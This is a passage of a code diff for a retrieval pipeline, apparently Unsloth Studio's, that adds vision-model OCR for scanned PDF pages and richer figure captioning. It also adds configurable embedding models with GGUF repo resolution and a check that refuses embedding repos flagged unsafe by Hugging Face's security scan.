diff --git a/studio/backend/core/rag/captioner.py b/studio/backend/core/rag/captioner.py
index be8e341064..6d1512a770 100644
--- a/studio/backend/core/rag/captioner.py
+++ b/studio/backend/core/rag/captioner.py
@@ -1,9 +1,12 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Caption figures with the loaded vision model and splice the text into the page
-so images are searchable via the normal FTS5 + dense path. No-op (never raises)
-without a vision model or on failure; gated by ``config.CAPTION_IMAGES``."""
+"""Vision-model helpers for ingestion: figure captioning and scanned-page OCR.
+
+Both turn pixels into indexable text and are a no-op (never raise) without a loaded
+vision model. They reuse the chat model's vision endpoint, so it must be served with
+``--ubatch-size`` >= one image's tokens (some encoders, e.g. Gemma, attend
+non-causally and abort otherwise); Studio's vision chat already requires this."""
 
 from __future__ import annotations
 
@@ -15,11 +18,54 @@ from . import config
 logger = logging.getLogger(__name__)
 
 _CAPTION_PROMPT = (
-    "Describe this figure or image from a document in one or two concise "
-    "sentences, for search indexing. State what it depicts (e.g. a diagram, "
-    "chart, table or photo) and its key content. Do not add commentary."
+    "Read this figure or image from a document for search indexing.\n"
+    "First, on a line 'TEXT:', transcribe every piece of visible text exactly as "
+    "written, in reading order: the title, axis labels and units, legend and series "
+    "names, EVERY box / node / arrow label, table headers and cells, equations, and "
+    "footnotes. List each distinct label even if it is small.\n"
+    "Then, on a line 'SUMMARY:', add one or two sentences on what it shows (chart "
+    "type and trend, diagram subject, table topic, or photo content).\n"
+    "Report only what is visible. Transcribe exactly; do not invent or guess any "
+    "text, label, or number."
 )
 
+_OCR_PROMPT = (
+    "Transcribe all text on this document page exactly as it appears, in reading "
+    "order, including any text inside figures, diagrams, charts, and tables (keep "
+    "table rows readable). Output only the transcribed text, with no commentary or "
+    "code fences. Preserve headings, lists, and line breaks. If the page has no "
+    "readable text, output nothing."
+)
+
+
+def _collapse_runaway(
+    text: str,
+    max_repeat: int = 3,
+    max_total: int = 8,
+) -> str:
+    """Cap runaway repetition: vision models sometimes loop a line many times. Keep
+    each distinct line to ``max_repeat`` in a row and ``max_total`` total, and collapse
+    blank-line floods, so a degenerate page cannot flood the index."""
+    out: list[str] = []
+    seen: dict[str, int] = {}
+    prev: str | None = None
+    run = 0
+    for line in text.splitlines():
+        key = line.strip()
+        if not key:
+            if prev == "":  # collapse runs of blank lines to a single separator
+                continue
+            prev = ""
+            out.append("")
+            continue
+        run = run + 1 if key == prev else 1
+        prev = key
+        seen[key] = seen.get(key, 0) + 1
+        if run > max_repeat or seen[key] > max_total:
+            continue
+        out.append(line)
+    return "\n".join(out)
+
 
 def vision_endpoint() -> tuple[str, str] | None:
     """``(base_url, model)`` for a loaded vision GGUF model, else None."""
@@ -33,7 +79,28 @@ def vision_endpoint() -> tuple[str, str] | None:
     return None
 
 
-def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None:
+def _vision_auth_headers() -> dict | None:
+    """Bearer header for the backend's API, or None. Vision calls share the chat
+    endpoint, so they need the same key under direct-stream (``--api-key``) mode."""
+    try:
+        from routes.inference import get_llama_cpp_backend
+        return get_llama_cpp_backend()._auth_headers or None
+    except Exception:  # noqa: BLE001 - auth discovery must never break ingestion
+        return None
+
+
+def _vision_complete(
+    base_url: str,
+    model: str,
+    image_bytes: bytes,
+    *,
+    prompt: str,
+    timeout: float,
+    max_tokens: int,
+    temperature: float = 0.0,
+) -> str | None:
+    """One image-in / text-out call to the loaded vision model's OpenAI-compatible
+    endpoint. Returns the stripped text or ``None`` on empty/failure (non-fatal)."""
     import httpx
 
     data_url = "data:image/png;base64," + base64.b64encode(image_bytes).decode("ascii")
@@ -43,33 +110,64 @@ def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float)
             {
                 "role": "user",
                 "content": [
-                    {"type": "text", "text": _CAPTION_PROMPT},
+                    {"type": "text", "text": prompt},
                     {"type": "image_url", "image_url": {"url": data_url}},
                 ],
             }
         ],
-        "max_tokens": 200,
-        "temperature": 0.2,
+        "max_tokens": max_tokens,
+        # Deterministic by default: transcription must not randomly drop labels.
+        "temperature": temperature,
         "stream": False,
         # Off: thinking models would spend the budget reasoning, returning "".
         "chat_template_kwargs": {"enable_thinking": False},
     }
     try:
-        r = httpx.post(f"{base_url}/v1/chat/completions", json = payload, timeout = timeout)
+        r = httpx.post(
+            f"{base_url}/v1/chat/completions",
+            json = payload,
+            timeout = timeout,
+            headers = _vision_auth_headers(),
+            # trust_env=False: base_url is the loopback backend; skip any HTTP(S)_PROXY.
+            trust_env = False,
+        )
         r.raise_for_status()
         text = r.json()["choices"][0]["message"]["content"]
         return text.strip() or None
-    except Exception:  # noqa: BLE001 - a failed caption is non-fatal
-        logger.debug("caption request failed", exc_info = True)
+    except Exception:  # noqa: BLE001 - a failed vision call is non-fatal
+        logger.debug("vision request failed", exc_info = True)
         return None
 
 
+def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None:
+    return _vision_complete(
+        base_url,
+        model,
+        image_bytes,
+        prompt = _CAPTION_PROMPT,
+        timeout = timeout,
+        max_tokens = config.CAPTION_MAX_TOKENS,
+    )
+
+
+def _ocr_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None:
+    return _vision_complete(
+        base_url,
+        model,
+        image_bytes,
+        prompt = _OCR_PROMPT,
+        timeout = timeout,
+        max_tokens = config.OCR_MAX_TOKENS,
+    )
+
+
 def caption_images(
     images: list, *, endpoint: tuple[str, str] | None = None
 ) -> dict[int, list[str]]:
-    """Caption ``ParsedImage`` objects, keyed by 1-based page number; ``{}`` when
-    disabled, no vision model, or no images. Bounded by ``CAPTION_MAX_IMAGES``."""
-    if not config.CAPTION_IMAGES or not images:
+    """Caption ``ParsedImage`` objects, keyed by 1-based page number; ``{}`` when there
+    are no images or no vision model. The caller (`ingestion._run`) owns the on/off
+    policy. Bounded by ``CAPTION_MAX_IMAGES``; each caption passes ``_collapse_runaway``."""
+    if not images:
         return {}
     ep = endpoint or vision_endpoint()
     if ep is None:
@@ -84,7 +182,50 @@ def caption_images(
         caption = _caption_one(base_url, model, image_bytes, config.CAPTION_TIMEOUT_S)
         if caption:
             page = getattr(img, "page_number", None) or 0
-            out.setdefault(int(page), []).append(caption)
+            out.setdefault(int(page), []).append(_collapse_runaway(caption))
+    return out
+
+
+def ocr_pages(
+    page_pngs: dict[int, bytes], *, endpoint: tuple[str, str] | None = None
+) -> dict[int, str]:
+    """OCR rendered page PNGs (keyed by 1-based page number) to text; ``{}`` when there
+    is no vision model or no pages. The caller (`ingestion._ocr_scanned_pages`) owns the
+    on/off policy. Bounded by ``OCR_MAX_PAGES``."""
+    if not page_pngs:
+        return {}
+    ep = endpoint or vision_endpoint()
+    if ep is None:
+        return {}
+    base_url, model = ep
+
+    out: dict[int, str] = {}
+    for page_num in sorted(page_pngs)[: config.OCR_MAX_PAGES]:
+        text = _ocr_one(base_url, model, page_pngs[page_num], config.OCR_TIMEOUT_S)
+        if text:
+            out[int(page_num)] = _collapse_runaway(text)
+    return out
+
+
+def merge_page_captions(captions: dict[int, list[str]]) -> dict[int, list[str]]:
+    """Merge a page's per-tile captions into one deduped block: drop lines repeated
+    across overlapping tiles (first kept, order preserved), then ``_collapse_runaway``,
+    so ``splice_captions`` adds a single figure block per page."""
+    out: dict[int, list[str]] = {}
+    for page, caps in captions.items():
+        seen: set[str] = set()
+        lines: list[str] = []
+        for cap in caps:
+            for line in (cap or "").splitlines():
+                stripped = line.strip()
+                key = stripped.lower()
+                if not stripped or key in seen:
+                    continue
+                seen.add(key)
+                lines.append(stripped)
+        merged = _collapse_runaway("\n".join(lines))
+        if merged.strip():
+            out[page] = [merged]
     return out
 
 
diff --git a/studio/backend/core/rag/config.py b/studio/backend/core/rag/config.py
index 993423683c..2de32a68e4 100644
--- a/studio/backend/core/rag/config.py
+++ b/studio/backend/core/rag/config.py
@@ -6,8 +6,10 @@
 from __future__ import annotations
 
 import os
+import re
 
-EMBEDDING_MODEL = os.environ.get("RAG_EMBEDDING_MODEL", "unsloth/bge-small-en-v1.5")
+DEFAULT_EMBEDDING_MODEL = "unsloth/bge-small-en-v1.5"
+EMBEDDING_MODEL = os.environ.get("RAG_EMBEDDING_MODEL", DEFAULT_EMBEDDING_MODEL)
 # Under bge's 512 limit, leaving headroom for the 2 special tokens (else overflow:
 # llama-server 500s, ST truncates). Keep <= embedder_max - ~12.
 CHUNK_TOKENS = int(os.environ.get("RAG_CHUNK_TOKENS", "500"))
@@ -17,18 +19,92 @@ TOP_K_DENSE = int(os.environ.get("RAG_TOP_K_DENSE", "30"))
 TOP_K_HYBRID = int(os.environ.get("RAG_TOP_K_HYBRID", "10"))
 RRF_K = int(os.environ.get("RAG_RRF_K", "60"))
 
-UPLOAD_EXTS = {".pdf", ".txt", ".md", ".markdown", ".docx", ".html", ".htm"}
+# Whole-document context: a thread-attached file under the token budget is injected
+# in full (every chunk, in order) instead of top-K retrieval; above it, use retrieval.
+THREAD_WHOLE_DOC = os.environ.get("RAG_THREAD_WHOLE_DOC", "1") == "1"
+WHOLE_DOC_MAX_TOKENS = int(os.environ.get("RAG_WHOLE_DOC_MAX_TOKENS", "6000"))
 
-# Figure captioning via the loaded vision model; off by default since each caption
-# is a model call. MAX_IMAGES bounds per-doc cost.
-CAPTION_IMAGES = os.environ.get("RAG_CAPTION_IMAGES", "0") == "1"
-CAPTION_MAX_IMAGES = int(os.environ.get("RAG_CAPTION_MAX_IMAGES", "8"))
-CAPTION_TIMEOUT_S = float(os.environ.get("RAG_CAPTION_TIMEOUT_S", "30"))
+UPLOAD_EXTS = {".pdf", ".txt", ".md", ".markdown", ".docx", ".html", ".htm"}
+# Reject uploads larger than this, so one pathological file can't drive unbounded parse
+# + vision work at ingest. 0 disables the cap. Default 200 MB.
+MAX_UPLOAD_BYTES = int(os.environ.get("RAG_MAX_UPLOAD_BYTES", str(200 * 1024 * 1024)))
+
+# Extract PDF text as layout-aware Markdown (pymupdf4llm) instead of flat text, so
+# tables, headings and lists survive into chunks and retrieval. Falls back to plain
+# PyMuPDF text when off, when pymupdf4llm is missing, or when extraction fails.
+PDF_MARKDOWN = os.environ.get("RAG_PDF_MARKDOWN", "1") == "1"
+
+# Figure captioning via the loaded vision model: detected figures are transcribed +
+# described so they become searchable. On by default, a no-op without a vision model;
+# the chat's "Describe figures & charts" toggle overrides it per upload.
+CAPTION_IMAGES = os.environ.get("RAG_CAPTION_IMAGES", "1") == "1"
+# Total per-document tile budget (figure-bearing pages are tiled, see below).
+CAPTION_MAX_IMAGES = int(os.environ.get("RAG_CAPTION_MAX_IMAGES", "24"))
+CAPTION_TIMEOUT_S = float(os.environ.get("RAG_CAPTION_TIMEOUT_S", "60"))
+# Larger than a one-line caption since captions transcribe every label. FIGURE_DPI is
+# high enough to keep small box/axis labels legible when tiles are rendered.
+CAPTION_MAX_TOKENS = int(os.environ.get("RAG_CAPTION_MAX_TOKENS", "768"))
+FIGURE_DPI = int(os.environ.get("RAG_FIGURE_DPI", "200"))
+# Figure pages are tiled into an overlapping ROWS x COLS grid of high-DPI tiles (plus
+# an optional full page), so small labels and every sub-figure are covered without
+# exact region detection. MAX_PAGES bounds figure pages; MAX_IMAGES bounds total tiles.
+FIGURE_TILE_ROWS = int(os.environ.get("RAG_FIGURE_TILE_ROWS", "2"))
+FIGURE_TILE_COLS = int(os.environ.get("RAG_FIGURE_TILE_COLS", "2"))
+FIGURE_TILE_OVERLAP = float(os.environ.get("RAG_FIGURE_TILE_OVERLAP", "0.12"))
+FIGURE_FULLPAGE = os.environ.get("RAG_FIGURE_FULLPAGE", "1") == "1"
+CAPTION_MAX_PAGES = int(os.environ.get("RAG_CAPTION_MAX_PAGES", "4"))
+
+# Scanned-PDF OCR: a page with little extractable text is rendered and transcribed by
+# the vision model so it becomes searchable. Needs a vision model, else skipped (page
+# stays empty). MIN_CHARS is the text length below which a page is treated as scanned.
+OCR_SCANNED = os.environ.get("RAG_OCR_SCANNED", "1") == "1"
+OCR_MIN_CHARS = int(os.environ.get("RAG_OCR_MIN_CHARS", "16"))
+OCR_MAX_PAGES = int(os.environ.get("RAG_OCR_MAX_PAGES", "20"))
+OCR_DPI = int(os.environ.get("RAG_OCR_DPI", "150"))
+OCR_TIMEOUT_S = float(os.environ.get("RAG_OCR_TIMEOUT_S", "60"))
+OCR_MAX_TOKENS = int(os.environ.get("RAG_OCR_MAX_TOKENS", "2048"))
 
 # Embedder backend. "auto": sentence-transformers on a CUDA/ROCm GPU (torch fp16
 # wins bulk indexing), else torch-free GGUF llama-server. Switching backends changes
 # the vectors, so the index must be rebuilt.
 EMBED_BACKEND = os.environ.get("RAG_EMBED_BACKEND", "auto")
+
+
+def effective_embedding_model() -> str:
+    """The embedding model actually in use: the persisted Settings override when
+    one is stored, else ``EMBEDDING_MODEL`` (env/default). Read at call time so a
+    Settings change applies without a restart."""
+    try:
+        from utils.embedding_model_settings import get_rag_embedding_model
+        return get_rag_embedding_model()
+    except Exception:  # noqa: BLE001 - settings store unavailable (tests, early boot)
+        return EMBEDDING_MODEL
+
+
+def _names_gguf(model: str) -> bool:
+    """True when "gguf" appears as a whole name segment, so plain substrings
+    like "bigguf" don't count."""
+    return "gguf" in re.split(r"[^a-z0-9]+", model.lower())
+
+
+def effective_gguf_repo() -> str:
+    """GGUF repo for the llama-server backend, tracking the effective model.
+
+    An explicit ``RAG_EMBED_GGUF_REPO`` env always wins. Otherwise any custom
+    model (saved in Settings or via ``RAG_EMBEDDING_MODEL``) maps to its
+    ``-GGUF`` companion repo (the unsloth convention the default pair follows),
+    or is used as-is when it already names a GGUF repo.
+    """
+    if "RAG_EMBED_GGUF_REPO" in os.environ:
+        return EMBED_GGUF_REPO
+    model = effective_embedding_model()
+    if model == DEFAULT_EMBEDDING_MODEL:
+        return EMBED_GGUF_REPO
+    if _names_gguf(model):
+        return model
+    return f"{model}-GGUF"
+
+
 # llama-server backend only. F16 over Q8_0: faster (no per-block dequant for this
 # tiny model) and exact vs fp32, for ~30MB more on disk.
 EMBED_GGUF_REPO = os.environ.get("RAG_EMBED_GGUF_REPO", "unsloth/bge-small-en-v1.5-GGUF")
diff --git a/studio/backend/core/rag/embed_llama_server.py b/studio/backend/core/rag/embed_llama_server.py
index c2e4ecc740..46a282c939 100644
--- a/studio/backend/core/rag/embed_llama_server.py
+++ b/studio/backend/core/rag/embed_llama_server.py
@@ -55,15 +55,20 @@ class LlamaServerBackend:
         self._port: int | None = None
         self._stdout_lines: list[str] = []
         self._stdout_thread: threading.Thread | None = None
+        # No lock: probes are idempotent (a duplicate 1-text encode is benign)
+        # and dim() -> encode() -> _ensure_ready() -> _resolve_model_path() can
+        # re-enter on a mid-probe model change, which would self-deadlock a
+        # non-reentrant lock held across the probe.
         self._dim: int | None = None
-        self._dim_lock = threading.Lock()
         self._model_path: str | None = None
+        # Effective GGUF repo the cached path/dim belong to; a Settings change
+        # makes it stale, forcing a re-resolve + respawn (see _ensure_ready).
+        self._model_repo: str | None = None
         self._binary: str | None = None
         # Sticky after an auto GPU start fails: later spawns stay on CPU.
         self._force_cpu = False
-        # Pooled client; requests pass full URLs, so a respawn's new port needs
-        # no rebuild.
-        self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S)
+        # Pooled client (full URLs per request survive a respawn); trust_env=False skips HTTP(S)_PROXY.
+        self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S, trust_env = False)
         atexit.register(self._shutdown)
 
     @property
@@ -115,24 +120,77 @@ class LlamaServerBackend:
                 "RAG_EMBED_BACKEND=llama-server requires an embeddings-capable build"
             )
 
+    @staticmethod
+    def _resolve_local_gguf(model: str) -> str | None:
+        """A custom model may be a local .gguf file or a directory holding one;
+        resolve it without the hub. None when the value is not a local path."""
+        p = Path(model).expanduser()
+        if p.is_file() and p.suffix.lower() == ".gguf":
+            return str(p)
+        if p.is_dir():
+            files = [
+                f
+                for f in p.iterdir()
+                if f.suffix.lower() == ".gguf" and "mmproj" not in f.name.lower()
+            ]
+            if not files:
+                raise RuntimeError(f"no .gguf file found in local model dir {model!r}")
+            variant = config.EMBED_GGUF_VARIANT.lower()
+            match = [f for f in files if variant in f.name.lower()] or files
+            return str(sorted(match, key = lambda f: len(f.name))[0])
+        return None
+
     def _resolve_model_path(self) -> str:
         """Download (or cache-hit) the variant-matching, non-mmproj GGUF embedder,
-        returning its local path."""
-        if self._model_path is not None:
+        returning its local path. Re-resolves when the effective repo changed (a
+        custom model was saved in Settings)."""
+        # Captured once: if the setting changes mid-download, the path must stay
+        # tagged with the repo it was resolved FOR, so _current() sees the new
+        # setting as stale and respawns instead of serving the old model.
+        desired = config.effective_gguf_repo()
+        if self._model_path is not None and self._model_repo == desired:
+            return self._model_path
+        local = self._resolve_local_gguf(config.effective_embedding_model())
+        if local is not None:
+            self._model_path = local
+            self._model_repo = desired
+            self._dim = None
             return self._model_path
         from huggingface_hub import hf_hub_download, list_repo_files
 
-        repo = config.EMBED_GGUF_REPO
         token = os.environ.get("HF_TOKEN") or None
-        files = [f for f in list_repo_files(repo, token = token) if f.lower().endswith(".gguf")]
-        files = [f for f in files if "mmproj" not in f.lower()]
+        # A custom model derives its "-GGUF" companion repo; when that guess does
+        # not exist, the model repo itself may host the .gguf files.
+        repo = desired
+        candidates = [repo]
+        model = config.effective_embedding_model()
+        if model != repo:
+            candidates.append(model)
+        files: list[str] = []
+        errors: list[str] = []
+        for candidate in candidates:
+            try:
+                files = [
+                    f
+                    for f in list_repo_files(candidate, token = token)
+                    if f.lower().endswith(".gguf") and "mmproj" not in f.lower()
+                ]
+            except Exception as e:  # noqa: BLE001 - missing/gated repo -> next candidate
+                errors.append(f"{candidate!r}: {e}")
+                continue
+            if files:
+                repo = candidate
+                break
+            errors.append(f"{candidate!r}: no .gguf files")
         if not files:
-            raise RuntimeError(f"no .gguf file found in embedder repo {repo!r}")
+            raise RuntimeError("no .gguf embedder found; tried " + "; ".join(errors))
         variant = config.EMBED_GGUF_VARIANT.lower()
         match = [f for f in files if variant in f.lower()] or files
         filename = sorted(match, key = len)[0]
         logger.info("resolving GGUF embedder %s/%s", repo, filename)
         self._model_path = hf_hub_download(repo_id = repo, filename = filename, token = token)
+        self._model_repo = desired
+        self._dim = None
         return self._model_path
 
     # Min free VRAM (MiB) for the embedder; below this, auto stays on CPU.
@@ -305,7 +363,8 @@ class LlamaServerBackend:
                 logger.error("llama-server embedder exited early (code %s)", code)
                 return False
             try:
-                if httpx.get(url, timeout = 2.0).status_code == 200:
+                # trust_env=False: a proxy that 503s 127.0.0.1 must not block this probe.
+                if httpx.get(url, timeout = 2.0, trust_env = False).status_code == 200:
                     return True
             except (*_TRANSPORT_ERRORS, httpx.TimeoutException):
                 pass
@@ -316,13 +375,19 @@ class LlamaServerBackend:
     def _process_alive(self) -> bool:
         return self._process is not None and self._process.poll() is None
 
+    def _current(self) -> bool:
+        """Alive AND serving the effective repo (a Settings model change makes a
+        live server stale)."""
+        return self._process_alive() and self._model_repo == config.effective_gguf_repo()
+
     def _ensure_ready(self) -> None:
-        """Guarantee a live server, (re)spawning if needed. Double-checked so the
-        alive path takes no lock; self-heals after the chat reaper kills us."""
-        if self._process_alive():
+        """Guarantee a live server on the effective model, (re)spawning if needed.
+        Double-checked so the current path takes no lock; self-heals after the
+        chat reaper kills us and re-resolves after a Settings model change."""
+        if self._current():
             return
         with self._lifecycle_lock:
-            if self._process_alive():
+            if self._current():
                 return
             self._kill_process()
             self._spawn()
@@ -424,14 +489,18 @@ class LlamaServerBackend:
         return arr
 
     def dim(self, *, model_name = None) -> int:
-        """Embedding width, probed once via a 1-text encode and cached."""
-        if self._dim is not None:
-            return self._dim
-        with self._dim_lock:
-            if self._dim is None:
-                vec = self.encode(["x"], normalize = False)
-                self._dim = int(vec.shape[1])
-        return self._dim
+        """Embedding width, probed via a 1-text encode and cached per model
+        (_resolve_model_path clears it when the effective repo changes).
+        Unlocked: concurrent probes are benign, and locking would deadlock when
+        the probe's encode respawns onto a changed model (see __init__)."""
+        self._ensure_ready()
+        cached = self._dim
+        if cached is not None:
+            return cached
+        vec = self.encode(["x"], normalize = False)
+        width = int(vec.shape[1])
+        self._dim = width
+        return width
 
     def warm(self, *, model_name = None) -> None:
         """Start the server and probe dim off the request path."""
diff --git a/studio/backend/core/rag/embeddings.py b/studio/backend/core/rag/embeddings.py
index 4e76e4fcaa..47d26209b4 100644
--- a/studio/backend/core/rag/embeddings.py
+++ b/studio/backend/core/rag/embeddings.py
@@ -46,17 +46,117 @@ def _device() -> str:
     return _TORCH_DEVICE.get(get_device(), "cpu")
 
 
+_torchao_stub_done = False
+
+
+def _install_torchao_stub_once() -> None:
+    """Neutralize torchao before importing sentence-transformers. On Windows ROCm,
+    torchao (pulled in by transformers.quantizers) imports an absent c10d backend
+    and aborts, dropping the embedder to llama-server. Workers stub it too; the
+    embedder runs in the main process. No-op elsewhere; runs once under ``_lock``."""
+    global _torchao_stub_done
+    if _torchao_stub_done:
+        return
+    _torchao_stub_done = True
+    from core._torchao_stub import install_torchao_windows_rocm_stub
+
+    install_torchao_windows_rocm_stub()
+
+
+class UnsafeEmbeddingModelError(RuntimeError):
+    """Raised when the embedding model repo is flagged unsafe. A distinct type so the
+    llama-server fallback paths re-raise it instead of masking a security block as a
+    routine ST failure."""
+
+
+def _ambient_hf_token() -> str | None:
+    """The HF token the loader itself would use (HF_TOKEN env or the cached login), so
+    the scan can reach a gated/private repo instead of failing open. None if unavailable."""
+    try:
+        from huggingface_hub import get_token
+        return get_token()
+    except Exception:
+        return None
+
+
+def _st_module_subdirs(name: str, token: str | None) -> tuple[str, ...]:
+    """The module directories a SentenceTransformer load reads weights from, taken from
+    the repo's ``modules.json`` (each module's non-empty ``path``, e.g. ``0_Transformer``).
+    ST deserializes ``pytorch_model.bin`` from these dirs, so they are load roots for the
+    security scan: a flagged pickle directly under one must block. Returns () on any
+    failure (no modules.json, offline, malformed) so the guard never bricks the embedder.
+    """
+    try:
+        import json
+
+        from utils.paths import is_local_path
+
+        if is_local_path(name):
+            from pathlib import Path
+            from utils.paths import normalize_path
+
+            path = Path(normalize_path(name)).expanduser() / "modules.json"
+            if not path.is_file():
+                return ()
+            data = json.loads(path.read_text())
+        else:
+            from huggingface_hub import hf_hub_download
+            from huggingface_hub.utils import EntryNotFoundError
+
+            try:
+                local = hf_hub_download(name, "modules.json", token = token or None)
+            except EntryNotFoundError:
+                return ()
+            data = json.loads(open(local).read())
+        subdirs = []
+        for module in data or ():
+            sub = str((module or {}).get("path", "")).strip().strip("/")
+            if sub:
+                subdirs.append(sub)
+        return tuple(dict.fromkeys(subdirs))
+    except Exception:
+        return ()
+
+
+def _guard_model_security(name: str) -> None:
+    """Refuse to load a repo HF flagged as unsafe: a poisoned pickle deserializes inside
+    SentenceTransformer regardless of trust_remote_code. Defense in depth behind the
+    /settings gate (a name can also arrive via env/default); local paths and unreachable
+    scans fail open inside evaluate_file_security. Never bricks the embedder on a gate error.
+    """
+    try:
+        from utils.security import evaluate_file_security, security_load_subdirs
+
+        token = _ambient_hf_token()
+        # Union the audio-model load roots with the ST module dirs so a flagged pickle
+        # directly under a Transformer module dir (0_Transformer/) blocks instead of
+        # passing as an unreferenced nested shard.
+        load_subdirs = tuple(
+            dict.fromkeys((*security_load_subdirs(name, token), *_st_module_subdirs(name, token)))
+        )
+        blocked = evaluate_file_security(name, hf_token = token, load_subdirs = load_subdirs).blocked
+    except Exception:
+        return
+    if blocked:
+        raise UnsafeEmbeddingModelError(
+            f"Embedding model {name!r} is flagged as unsafe by Hugging Face's security "
+            "scan; refusing to load. Set a different RAG embedding model."
+        )
+
+
 def _get(model_name: str | None = None):
     """Cached SentenceTransformer, (re)loading on a name change. Loaded in fp16
     for a ~1.5x speedup at negligible accuracy loss."""
     global _model, _name
-    name = model_name or config.EMBEDDING_MODEL
+    name = model_name or config.effective_embedding_model()
     with _lock:
         if _model is None or _name != name:
+            _install_torchao_stub_once()
             from sentence_transformers import SentenceTransformer
 
             device = _device()
             logger.info("loading embedding model %s on %s", name, device)
+            _guard_model_security(name)
             _model = SentenceTransformer(
                 name, device = device, model_kwargs = {"torch_dtype": "float16"}
             )
@@ -141,6 +241,8 @@ class _SentenceTransformersBackend:
     ):
         try:
             return _st_encode(texts, model_name = model_name, normalize = normalize)
+        except UnsafeEmbeddingModelError:
+            raise  # a security block must hard-fail, not fall back to llama-server
         except Exception as st_err:  # noqa: BLE001 - runtime ST/CUDA encode failure
             # ST loaded but this encode blew up; swap the process to the llama-server
             # embedder (so later encodes stay in one space) and retry.
@@ -204,6 +306,8 @@ def _build_st_backend_or_fallback():
     try:
         backend.warm(model_name = None)
         return backend
+    except UnsafeEmbeddingModelError:
+        raise  # a security block must hard-fail, not fall back to llama-server
     except Exception as st_err:  # noqa: BLE001 - any ST/torch import or load failure
         fallback = _try_make_llama_backend()
         if fallback is None:
@@ -272,6 +376,37 @@ def _reset_backend() -> None:
         _backend_key = None
 
 
+def active_backend_is_llama() -> bool:
+    """True when this process actually embeds via the llama-server (GGUF) backend.
+
+    Reflects the ACTUAL built backend once one exists: an ``auto`` install that
+    resolves to sentence-transformers but then falls back to llama-server at
+    runtime (``_build_st_backend_or_fallback`` on a torch/CUDA load failure, or
+    ``_switch_to_llama_fallback`` on an encode failure) loads only inert GGUF, so
+    callers gating on the ST pickle must see llama here. Before any backend is
+    built, defers to the resolver (``auto`` -> ``_resolve_auto()``, else the raw
+    key) exactly as a fresh process would. Never raises: a backend probe must not
+    block saving a model."""
+    try:
+        with _backend_lock:
+            backend = _backend
+        if backend is not None:
+            # A backend exists: report what it ACTUALLY is. A concrete
+            # sentence-transformers backend must return False even if the
+            # resolver would now pick llama, so its pickle stays gated. If the
+            # llama import fails we cannot be llama, so fall to the safe False.
+            try:
+                from .embed_llama_server import LlamaServerBackend
+            except Exception:  # noqa: BLE001 - llama plumbing import must never block
+                return False
+            return isinstance(backend, LlamaServerBackend)
+        raw = (config.EMBED_BACKEND or "auto").strip().lower()
+        key = _resolve_auto() if raw in _AUTO_ALIASES else raw
+        return key in _LLAMA_ALIASES
+    except Exception:  # noqa: BLE001 - a backend probe must never block saving
+        return False
+
+
 def warm(model_name: str | None = None) -> None:
     """Eagerly load the embedder so the first real request isn't slow."""
     _get_backend().warm(model_name = model_name)
diff --git a/studio/backend/core/rag/ingestion.py b/studio/backend/core/rag/ingestion.py
index c0c9a9f656..cba076f1be 100644
--- a/studio/backend/core/rag/ingestion.py
+++ b/studio/backend/core/rag/ingestion.py
@@ -26,6 +26,11 @@ _jobs_lock = threading.Lock()
 
 _EMBED_BATCH = 64  # bounds peak memory
 
+# Poll with a timeout so the generator wakes periodically to detect a gone
+# client or a terminal job whose worker died without the None sentinel.
+_SSE_POLL_SECONDS = 1.0
+_TERMINAL_JOB_STATUSES = {"completed", "failed"}
+
 
 def _sha256_file(path: str) -> str:
     h = hashlib.sha256()
@@ -94,25 +99,122 @@ def _embed_all(texts: list[str], model_name: str | None):
     return vectors
 
 
+def _ocr_scanned_pages(
+    pages: list,
+    stored_path: str,
+    conn,
+    job_id: str,
+    ocr: bool | None = None,
+) -> tuple[list, set[int]]:
+    """Replace text on near-empty (scanned/image-only) PDF pages with vision-model OCR
+    so image PDFs become searchable. ``ocr`` overrides ``config.OCR_SCANNED`` per upload
+    (``None`` = config default); no-op without scanned pages or a vision model. OCR'd
+    pages have no text layer, so no preview highlight regions, but stay searchable.
+    Returns ``(pages, ocred)``: new ``Page`` objects for OCR'd pages (originals
+    otherwise) and the set of page numbers actually transcribed."""
+    if not (config.OCR_SCANNED if ocr is None else ocr):
+        return pages, set()
+    scanned = [
+        p.page_number
+        for p in pages
+        if p.page_number is not None and len((p.text or "").strip()) < config.OCR_MIN_CHARS
+    ]
+    if not scanned or captioner.vision_endpoint() is None:
+        return pages, set()
+    if len(scanned) > config.OCR_MAX_PAGES:
+        logger.warning(
+            "OCR: %d scanned pages exceed OCR_MAX_PAGES=%d; pages past the cap stay "
+            "untranscribed (raise RAG_OCR_MAX_PAGES to cover them)",
+            len(scanned),
+            config.OCR_MAX_PAGES,
+        )
+    scanned = scanned[: config.OCR_MAX_PAGES]
+    _progress(conn, job_id, "ocr", 0.25)
+    page_pngs = parsers.render_pdf_pages(stored_path, scanned, dpi = config.OCR_DPI)
+    texts = captioner.ocr_pages(page_pngs)
+    if not texts:
+        return pages, set()
+
+    from .parsers import Page
+
+    out: list = []
+    ocred: set[int] = set()
+    for page in pages:
+        text = texts.get(page.page_number)
+        if text:
+            original = (page.text or "").strip()
+            merged = text if not original or original in text else f"{original}\n\n{text}"
+            out.append(Page(text = merged, page_number = page.page_number, char_count = len(merged)))
+            ocred.add(page.page_number)
+        else:
+            out.append(page)
+    return out, ocred
+
+
+def _replace_old_document(conn, replaces: tuple[str, str | None] | None, keep_path: str) -> None:
+    """Drop the document this ingestion replaced (stale embedder / empty prior
+    ingest), called only after the replacement completed successfully."""
+    if replaces is None:
+        return
+    old_id, old_path = replaces
+    try:
+        store.delete_document(conn, old_id)
+        _remove_upload(old_path, keep_path = keep_path)
+    except Exception:  # noqa: BLE001 - the new document is already live
+        logger.warning("failed to remove replaced document %s", old_id, exc_info = True)
+
+
 def _run(
-    job_id: str, document_id: str, scope: str, stored_path: str, model_name: str | None
+    job_id: str,
+    document_id: str,
+    scope: str,
+    stored_path: str,
+    model_name: str | None,
+    ocr: bool | None = None,
+    caption: bool | None = None,
+    replaces: tuple[str, str | None] | None = None,
 ) -> None:
     conn = rag_db.get_connection()
     try:
         _progress(conn, job_id, "parsing", 0.1)
         pages = parsers.parse(stored_path)
